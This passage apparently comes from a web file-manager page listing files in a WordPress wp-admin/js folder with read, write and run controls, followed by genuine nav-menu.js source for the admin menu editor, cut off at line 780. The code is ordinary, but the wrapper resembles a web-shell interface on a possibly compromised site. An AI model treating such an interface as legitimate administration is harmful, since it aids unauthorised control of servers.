at path:ROOT / wp-admin / js / nav-menu.js
run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄nav-menu.js
1/**
2 * WordPress Administration Navigation Menu
3 * Interface JS functions
4 *
5 * @version 2.0.0
6 *
7 * @package WordPress
8 * @subpackage Administration
9 * @output wp-admin/js/nav-menu.js
10 */
11
12/* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */
13
14(function($) {
15
16 var api;
17
18 /**
19 * Contains all the functions to handle WordPress navigation menus administration.
20 *
21 * @namespace wpNavMenu
22 */
23 api = window.wpNavMenu = {
24
25 options : {
26 menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
27 globalMaxDepth: 11,
28 sortableItems: '> *',
29 targetTolerance: 0
30 },
31
32 menuList : undefined, // Set in init.
33 targetList : undefined, // Set in init.
34 menusChanged : false,
35 isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
36 negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
37 lastSearch: '',
38
39 // Functions that run on init.
40 init : function() {
41 api.menuList = $('#menu-to-edit');
42 api.targetList = api.menuList;
43
44 this.jQueryExtensions();
45
46 this.attachMenuEditListeners();
47
48 this.attachBulkSelectButtonListeners();
49 this.attachMenuCheckBoxListeners();
50 this.attachMenuItemDeleteButton();
51 this.attachPendingMenuItemsListForDeletion();
52
53 this.attachQuickSearchListeners();
54 this.attachThemeLocationsListeners();
55 this.attachMenuSaveSubmitListeners();
56
57 this.attachTabsPanelListeners();
58
59 this.attachUnsavedChangesListener();
60
61 if ( api.menuList.length )
62 this.initSortables();
63
64 if ( menus.oneThemeLocationNoMenus )
65 $( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );
66
67 this.initManageLocations();
68
69 this.initAccessibility();
70
71 this.initToggles();
72
73 this.initPreviewing();
74 },
75
76 jQueryExtensions : function() {
77 // jQuery extensions.
78 $.fn.extend({
79 menuItemDepth : function() {
80 var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
81 return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
82 },
83 updateDepthClass : function(current, prev) {
84 return this.each(function(){
85 var t = $(this);
86 prev = prev || t.menuItemDepth();
87 $(this).removeClass('menu-item-depth-'+ prev )
88 .addClass('menu-item-depth-'+ current );
89 });
90 },
91 shiftDepthClass : function(change) {
92 return this.each(function(){
93 var t = $(this),
94 depth = t.menuItemDepth(),
95 newDepth = depth + change;
96
97 t.removeClass( 'menu-item-depth-'+ depth )
98 .addClass( 'menu-item-depth-'+ ( newDepth ) );
99
100 if ( 0 === newDepth ) {
101 t.find( '.is-submenu' ).hide();
102 }
103 });
104 },
105 childMenuItems : function() {
106 var result = $();
107 this.each(function(){
108 var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
109 while( next.length && next.menuItemDepth() > depth ) {
110 result = result.add( next );
111 next = next.next( '.menu-item' );
112 }
113 });
114 return result;
115 },
116 shiftHorizontally : function( dir ) {
117 return this.each(function(){
118 var t = $(this),
119 depth = t.menuItemDepth(),
120 newDepth = depth + dir;
121
122 // Change .menu-item-depth-n class.
123 t.moveHorizontally( newDepth, depth );
124 });
125 },
126 moveHorizontally : function( newDepth, depth ) {
127 return this.each(function(){
128 var t = $(this),
129 children = t.childMenuItems(),
130 diff = newDepth - depth,
131 subItemText = t.find('.is-submenu');
132
133 // Change .menu-item-depth-n class.
134 t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();
135
136 // If it has children, move those too.
137 if ( children ) {
138 children.each(function() {
139 var t = $(this),
140 thisDepth = t.menuItemDepth(),
141 newDepth = thisDepth + diff;
142 t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
143 });
144 }
145
146 // Show "Sub item" helper text.
147 if (0 === newDepth)
148 subItemText.hide();
149 else
150 subItemText.show();
151 });
152 },
153 updateParentMenuItemDBId : function() {
154 return this.each(function(){
155 var item = $(this),
156 input = item.find( '.menu-item-data-parent-id' ),
157 depth = parseInt( item.menuItemDepth(), 10 ),
158 parentDepth = depth - 1,
159 parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();
160
161 if ( 0 === depth ) { // Item is on the top level, has no parent.
162 input.val(0);
163 } else { // Find the parent item, and retrieve its object id.
164 input.val( parent.find( '.menu-item-data-db-id' ).val() );
165 }
166 });
167 },
168 hideAdvancedMenuItemFields : function() {
169 return this.each(function(){
170 var that = $(this);
171 $('.hide-column-tog').not(':checked').each(function(){
172 that.find('.field-' + $(this).val() ).addClass('hidden-field');
173 });
174 });
175 },
176 /**
177 * Adds selected menu items to the menu.
178 *
179 * @ignore
180 *
181 * @param jQuery metabox The metabox jQuery object.
182 */
183 addSelectedToMenu : function(processMethod) {
184 if ( 0 === $('#menu-to-edit').length ) {
185 return false;
186 }
187
188 return this.each(function() {
189 var t = $(this), menuItems = {},
190 checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
191 re = /menu-item\[([^\]]*)/;
192
193 processMethod = processMethod || api.addMenuItemToBottom;
194
195 // If no items are checked, bail.
196 if ( !checkboxes.length )
197 return false;
198
199 // Show the Ajax spinner.
200 t.find( '.button-controls .spinner' ).addClass( 'is-active' );
201
202 // Retrieve menu item data.
203 $(checkboxes).each(function(){
204 var t = $(this),
205 listItemDBIDMatch = re.exec( t.attr('name') ),
206 listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);
207
208 if ( this.className && -1 != this.className.indexOf('add-to-top') )
209 processMethod = api.addMenuItemToTop;
210 menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
211 });
212
213 // Add the items.
214 api.addItemToMenu(menuItems, processMethod, function(){
215 // Deselect the items and hide the Ajax spinner.
216 checkboxes.prop( 'checked', false );
217 t.find( '.button-controls .select-all' ).prop( 'checked', false );
218 t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
219 t.updateParentDropdown();
220 t.updateOrderDropdown();
221 });
222 });
223 },
224 getItemData : function( itemType, id ) {
225 itemType = itemType || 'menu-item';
226
227 var itemData = {}, i,
228 fields = [
229 'menu-item-db-id',
230 'menu-item-object-id',
231 'menu-item-object',
232 'menu-item-parent-id',
233 'menu-item-position',
234 'menu-item-type',
235 'menu-item-title',
236 'menu-item-url',
237 'menu-item-description',
238 'menu-item-attr-title',
239 'menu-item-target',
240 'menu-item-classes',
241 'menu-item-xfn'
242 ];
243
244 if( !id && itemType == 'menu-item' ) {
245 id = this.find('.menu-item-data-db-id').val();
246 }
247
248 if( !id ) return itemData;
249
250 this.find('input').each(function() {
251 var field;
252 i = fields.length;
253 while ( i-- ) {
254 if( itemType == 'menu-item' )
255 field = fields[i] + '[' + id + ']';
256 else if( itemType == 'add-menu-item' )
257 field = 'menu-item[' + id + '][' + fields[i] + ']';
258
259 if (
260 this.name &&
261 field == this.name
262 ) {
263 itemData[fields[i]] = this.value;
264 }
265 }
266 });
267
268 return itemData;
269 },
270 setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
271 itemType = itemType || 'menu-item';
272
273 if( !id && itemType == 'menu-item' ) {
274 id = $('.menu-item-data-db-id', this).val();
275 }
276
277 if( !id ) return this;
278
279 this.find('input').each(function() {
280 var t = $(this), field;
281 $.each( itemData, function( attr, val ) {
282 if( itemType == 'menu-item' )
283 field = attr + '[' + id + ']';
284 else if( itemType == 'add-menu-item' )
285 field = 'menu-item[' + id + '][' + attr + ']';
286
287 if ( field == t.attr('name') ) {
288 t.val( val );
289 }
290 });
291 });
292 return this;
293 },
294 updateParentDropdown : function() {
295 return this.each(function(){
296 var menuItems = $( '#menu-to-edit li' ),
297 parentDropdowns = $( '.edit-menu-item-parent' );
298
299 $.each( parentDropdowns, function() {
300 var parentDropdown = $( this ),
301 currentItemID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-db-id' ).val() ),
302 currentParentID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-parent-id' ).val() ),
303 currentItem = parentDropdown.closest( 'li.menu-item' ),
304 currentMenuItemChild = currentItem.childMenuItems(),
305 excludeMenuItem = /** @type {number[]} */ [ currentItemID ];
306
307 parentDropdown.empty();
308
309 if ( currentMenuItemChild.length > 0 ) {
310 $.each( currentMenuItemChild, function(){
311 var childItem = $(this),
312 childID = parseInt( childItem.find( '.menu-item-data-db-id' ).val() );
313
314 excludeMenuItem.push( childID );
315 });
316 }
317
318 parentDropdown.append(
319 $( '<option>', {
320 value: '0',
321 selected: currentParentID === 0,
322 text: wp.i18n._x( 'No Parent', 'menu item without a parent in navigation menu' ),
323 } )
324 );
325
326 $.each( menuItems, function() {
327 var menuItem = $(this),
328 menuID = parseInt( menuItem.find( '.menu-item-data-db-id' ).val() ),
329 menuTitle = menuItem.find( '.edit-menu-item-title' ).val();
330
331 if ( ! excludeMenuItem.includes( menuID ) ) {
332 parentDropdown.append(
333 $( '<option>', {
334 value: menuID.toString(),
335 selected: currentParentID === menuID,
336 text: menuTitle,
337 } )
338 );
339 }
340 });
341 });
342
343 });
344 },
345 updateOrderDropdown : function() {
346 return this.each( function() {
347 var itemPosition,
348 orderDropdowns = $( '.edit-menu-item-order' );
349
350 $.each( orderDropdowns, function() {
351 var orderDropdown = $( this ),
352 menuItem = orderDropdown.closest( 'li.menu-item' ).first(),
353 depth = menuItem.menuItemDepth(),
354 isPrimaryMenuItem = ( 0 === depth );
355
356 orderDropdown.empty();
357
358 if ( isPrimaryMenuItem ) {
359 var primaryItems = $( '.menu-item-depth-0' ),
360 totalMenuItems = primaryItems.length;
361
362 itemPosition = primaryItems.index( menuItem ) + 1;
363
364 for ( let i = 1; i < totalMenuItems + 1; i++ ) {
365 var itemString = wp.i18n.sprintf(
366 /* translators: 1: The current menu item number, 2: The total number of menu items. */
367 wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ),
368 i,
369 totalMenuItems
370 );
371 orderDropdown.append(
372 $( '<option>', {
373 selected: i === itemPosition,
374 value: i.toString(),
375 text: itemString,
376 } )
377 );
378 }
379
380 } else {
381 var parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
382 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
383 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
384 totalSubMenuItems = subItems.length;
385
386 itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
387
388 for ( let i = 1; i < totalSubMenuItems + 1; i++ ) {
389 var submenuString = wp.i18n.sprintf(
390 /* translators: 1: The current submenu item number, 2: The total number of submenu items. */
391 wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ),
392 i,
393 totalSubMenuItems
394 );
395 orderDropdown.append(
396 $( '<option>', {
397 selected: i === itemPosition,
398 value: i.toString(),
399 text: submenuString,
400 } )
401 );
402 }
403
404 }
405 });
406
407 });
408 }
409 });
410 },
411
412 countMenuItems : function( depth ) {
413 return $( '.menu-item-depth-' + depth ).length;
414 },
415
416 moveMenuItem : function( $this, dir ) {
417 var items, newItemPosition, newDepth,
418 menuItems = $( '#menu-to-edit li' ),
419 menuItemsCount = menuItems.length,
420 thisItem = $this.parents( 'li.menu-item' ),
421 thisItemChildren = thisItem.childMenuItems(),
422 thisItemData = thisItem.getItemData(),
423 thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
424 thisItemPosition = parseInt( thisItem.index(), 10 ),
425 nextItem = thisItem.next(),
426 nextItemChildren = nextItem.childMenuItems(),
427 nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
428 prevItem = thisItem.prev(),
429 prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
430 prevItemId = prevItem.getItemData()['menu-item-db-id'],
431 a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ];
432
433 switch ( dir ) {
434 case 'up':
435 newItemPosition = thisItemPosition - 1;
436
437 // Already at top.
438 if ( 0 === thisItemPosition )
439 break;
440
441 // If a sub item is moved to top, shift it to 0 depth.
442 if ( 0 === newItemPosition && 0 !== thisItemDepth )
443 thisItem.moveHorizontally( 0, thisItemDepth );
444
445 // If prev item is sub item, shift to match depth.
446 if ( 0 !== prevItemDepth )
447 thisItem.moveHorizontally( prevItemDepth, thisItemDepth );
448
449 // Does this item have sub items?
450 if ( thisItemChildren ) {
451 items = thisItem.add( thisItemChildren );
452 // Move the entire block.
453 items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
454 } else {
455 thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
456 }
457 break;
458 case 'down':
459 // Does this item have sub items?
460 if ( thisItemChildren ) {
461 items = thisItem.add( thisItemChildren ),
462 nextItem = menuItems.eq( items.length + thisItemPosition ),
463 nextItemChildren = 0 !== nextItem.childMenuItems().length;
464
465 if ( nextItemChildren ) {
466 newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
467 thisItem.moveHorizontally( newDepth, thisItemDepth );
468 }
469
470 // Have we reached the bottom?
471 if ( menuItemsCount === thisItemPosition + items.length )
472 break;
473
474 items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
475 } else {
476 // If next item has sub items, shift depth.
477 if ( 0 !== nextItemChildren.length )
478 thisItem.moveHorizontally( nextItemDepth, thisItemDepth );
479
480 // Have we reached the bottom?
481 if ( menuItemsCount === thisItemPosition + 1 )
482 break;
483 thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
484 }
485 break;
486 case 'top':
487 // Already at top.
488 if ( 0 === thisItemPosition )
489 break;
490 // Does this item have sub items?
491 if ( thisItemChildren ) {
492 items = thisItem.add( thisItemChildren );
493 // Move the entire block.
494 items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
495 } else {
496 thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
497 }
498 break;
499 case 'left':
500 // As far left as possible.
501 if ( 0 === thisItemDepth )
502 break;
503 thisItem.shiftHorizontally( -1 );
504 break;
505 case 'right':
506 // Can't be sub item at top.
507 if ( 0 === thisItemPosition )
508 break;
509 // Already sub item of prevItem.
510 if ( thisItemData['menu-item-parent-id'] === prevItemId )
511 break;
512 thisItem.shiftHorizontally( 1 );
513 break;
514 }
515 $this.trigger( 'focus' );
516 api.registerChange();
517 api.refreshKeyboardAccessibility();
518 api.refreshAdvancedAccessibility();
519 thisItem.updateParentDropdown();
520 thisItem.updateOrderDropdown();
521
522 if ( a11ySpeech ) {
523 wp.a11y.speak( a11ySpeech );
524 }
525 },
526
527 initAccessibility : function() {
528 var menu = $( '#menu-to-edit' );
529
530 api.refreshKeyboardAccessibility();
531 api.refreshAdvancedAccessibility();
532
533 // Refresh the accessibility when the user comes close to the item in any way.
534 menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
535 api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
536 } );
537
538 // We have to update on click as well because we might hover first, change the item, and then click.
539 menu.on( 'click', 'a.item-edit', function() {
540 api.refreshAdvancedAccessibilityOfItem( $( this ) );
541 } );
542
543 // Links for moving items.
544 menu.on( 'click', '.menus-move', function () {
545 var $this = $( this ),
546 dir = $this.data( 'dir' );
547
548 if ( 'undefined' !== typeof dir ) {
549 api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
550 }
551 });
552
553 // Set menu parents data for all menu items.
554 menu.updateParentDropdown();
555
556 // Set menu order data for all menu items.
557 menu.updateOrderDropdown();
558
559 // Update menu item parent when value is changed.
560 menu.on( 'change', '.edit-menu-item-parent', function() {
561 api.changeMenuParent( $( this ) );
562 });
563
564 // Update menu item order when value is changed.
565 menu.on( 'change', '.edit-menu-item-order', function() {
566 api.changeMenuOrder( $( this ) );
567 });
568 },
569
570 /**
571 * changeMenuParent( [parentDropdown] )
572 *
573 * @since 6.7.0
574 *
575 * @param {object} parentDropdown select field
576 */
577 changeMenuParent : function( parentDropdown ) {
578 var menuItemNewPosition,
579 menuItems = $( '#menu-to-edit li' ),
580 $this = $( parentDropdown ),
581 newParentID = $this.val(),
582 menuItem = $this.closest( 'li.menu-item' ).first(),
583 menuItemOldDepth = menuItem.menuItemDepth(),
584 menuItemChildren = menuItem.childMenuItems(),
585 menuItemNoChildren = parseInt( menuItem.childMenuItems().length, 10 ),
586 parentItem = $( '#menu-item-' + newParentID ),
587 parentItemDepth = parentItem.menuItemDepth(),
588 menuItemNewDepth = parseInt( parentItemDepth ) + 1;
589
590 if ( newParentID == 0 ) {
591 menuItemNewDepth = 0;
592 }
593
594 menuItem.find( '.menu-item-data-parent-id' ).val( newParentID );
595 menuItem.moveHorizontally( menuItemNewDepth, menuItemOldDepth );
596
597 if ( menuItemNoChildren > 0 ) {
598 menuItem = menuItem.add( menuItemChildren );
599 }
600 menuItem.detach();
601
602 menuItems = $( '#menu-to-edit li' );
603
604 var parentItemPosition = parseInt( parentItem.index(), 10 ),
605 parentItemNoChild = parseInt( parentItem.childMenuItems().length, 10 );
606
607 if ( parentItemNoChild > 0 ){
608 menuItemNewPosition = parentItemPosition + parentItemNoChild;
609 } else {
610 menuItemNewPosition = parentItemPosition;
611 }
612
613 if ( newParentID == 0 ) {
614 menuItemNewPosition = menuItems.length - 1;
615 }
616
617 menuItem.insertAfter( menuItems.eq( menuItemNewPosition ) ).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown();
618
619 api.registerChange();
620 api.refreshKeyboardAccessibility();
621 api.refreshAdvancedAccessibility();
622 $this.trigger( 'focus' );
623 wp.a11y.speak( menus.parentUpdated, 'polite' );
624 },
625
626 /**
627 * changeMenuOrder( [OrderDropdown] )
628 *
629 * @since 6.7.0
630 *
631 * @param {object} orderDropdown select field
632 */
633 changeMenuOrder : function( orderDropdown ) {
634 var menuItems = $( '#menu-to-edit li' ),
635 $this = $( orderDropdown ),
636 newOrderID = parseInt( $this.val(), 10),
637 menuItem = $this.closest( 'li.menu-item' ).first(),
638 menuItemChildren = menuItem.childMenuItems(),
639 menuItemNoChildren = menuItemChildren.length,
640 menuItemCurrentPosition = parseInt( menuItem.index(), 10 ),
641 parentItemID = menuItem.find( '.menu-item-data-parent-id' ).val(),
642 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemID + '"]' ),
643 currentItemAtPosition = $(subItems[newOrderID - 1]).closest( 'li.menu-item' );
644
645 if ( menuItemNoChildren > 0 ) {
646 menuItem = menuItem.add( menuItemChildren );
647 }
648
649 var currentItemNoChildren = currentItemAtPosition.childMenuItems().length,
650 currentItemPosition = parseInt( currentItemAtPosition.index(), 10 );
651
652 menuItems = $( '#menu-to-edit li' );
653
654 var menuItemNewPosition = currentItemPosition;
655
656 if(menuItemCurrentPosition > menuItemNewPosition){
657 menuItemNewPosition = currentItemPosition;
658 menuItem.detach().insertBefore( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown();
659 } else {
660 menuItemNewPosition = menuItemNewPosition + currentItemNoChildren;
661 menuItem.detach().insertAfter( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown();
662 }
663
664 api.registerChange();
665 api.refreshKeyboardAccessibility();
666 api.refreshAdvancedAccessibility();
667 $this.trigger( 'focus' );
668 wp.a11y.speak( menus.orderUpdated, 'polite' );
669 },
670
671 /**
672 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
673 *
674 * Refreshes advanced accessibility buttons for one menu item.
675 * Shows or hides buttons based on the location of the menu item.
676 *
677 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
678 */
679 refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {
680
681 // Only refresh accessibility when necessary.
682 if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
683 return;
684 }
685
686 var thisLink, thisLinkText, primaryItems, itemPosition, title,
687 parentItem, parentItemId, parentItemName, subItems, totalSubItems,
688 $this = $( itemToRefresh ),
689 menuItem = $this.closest( 'li.menu-item' ).first(),
690 depth = menuItem.menuItemDepth(),
691 isPrimaryMenuItem = ( 0 === depth ),
692 itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
693 menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-controls' ).find( '.item-type' ).text(),
694 position = parseInt( menuItem.index(), 10 ),
695 prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
696 prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
697 prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
698 totalMenuItems = $('#menu-to-edit li').length,
699 hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;
700
701 menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );
702
703 // Where can they move this menu item?
704 if ( 0 !== position ) {
705 thisLink = menuItem.find( '.menus-move-up' );
706 thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
707 }
708
709 if ( 0 !== position && isPrimaryMenuItem ) {
710 thisLink = menuItem.find( '.menus-move-top' );
711 thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
712 }
713
714 if ( position + 1 !== totalMenuItems && 0 !== position ) {
715 thisLink = menuItem.find( '.menus-move-down' );
716 thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
717 }
718
719 if ( 0 === position && 0 !== hasSameDepthSibling ) {
720 thisLink = menuItem.find( '.menus-move-down' );
721 thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
722 }
723
724 if ( ! isPrimaryMenuItem ) {
725 thisLink = menuItem.find( '.menus-move-left' ),
726 thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
727 thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
728 }
729
730 if ( 0 !== position ) {
731 if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
732 thisLink = menuItem.find( '.menus-move-right' ),
733 thisLinkText = menus.under.replace( '%s', prevItemNameRight );
734 thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
735 }
736 }
737
738 if ( isPrimaryMenuItem ) {
739 primaryItems = $( '.menu-item-depth-0' ),
740 itemPosition = primaryItems.index( menuItem ) + 1,
741 totalMenuItems = primaryItems.length,
742 // String together help text for primary menu items.
743 title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems );
744 } else {
745 parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
746 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
747 parentItemName = parentItem.find( '.menu-item-title' ).text(),
748 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
749 totalSubItems = subItems.length,
750 itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
751
752 // String together help text for sub menu items.
753 if ( depth < 2 ) {
754 title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName );
755 } else {
756 title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth );
757 }
758 }
759
760 $this.attr( 'aria-label', title );
761
762 // Mark this item's accessibility as refreshed.
763 $this.data( 'needs_accessibility_refresh', false );
764 },
765
766 /**
767 * refreshAdvancedAccessibility
768 *
769 * Hides all advanced accessibility buttons and marks them for refreshing.
770 */
771 refreshAdvancedAccessibility : function() {
772
773 // Hide all the move buttons by default.
774 $( '.menu-item-settings .field-move .menus-move' ).hide();
775
776 // Mark all menu items as unprocessed.
777 $( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );
778
779 // All open items have to be refreshed or they will show no links.
780 $( '.menu-item-edit-active a.item-edit' ).each( function() {
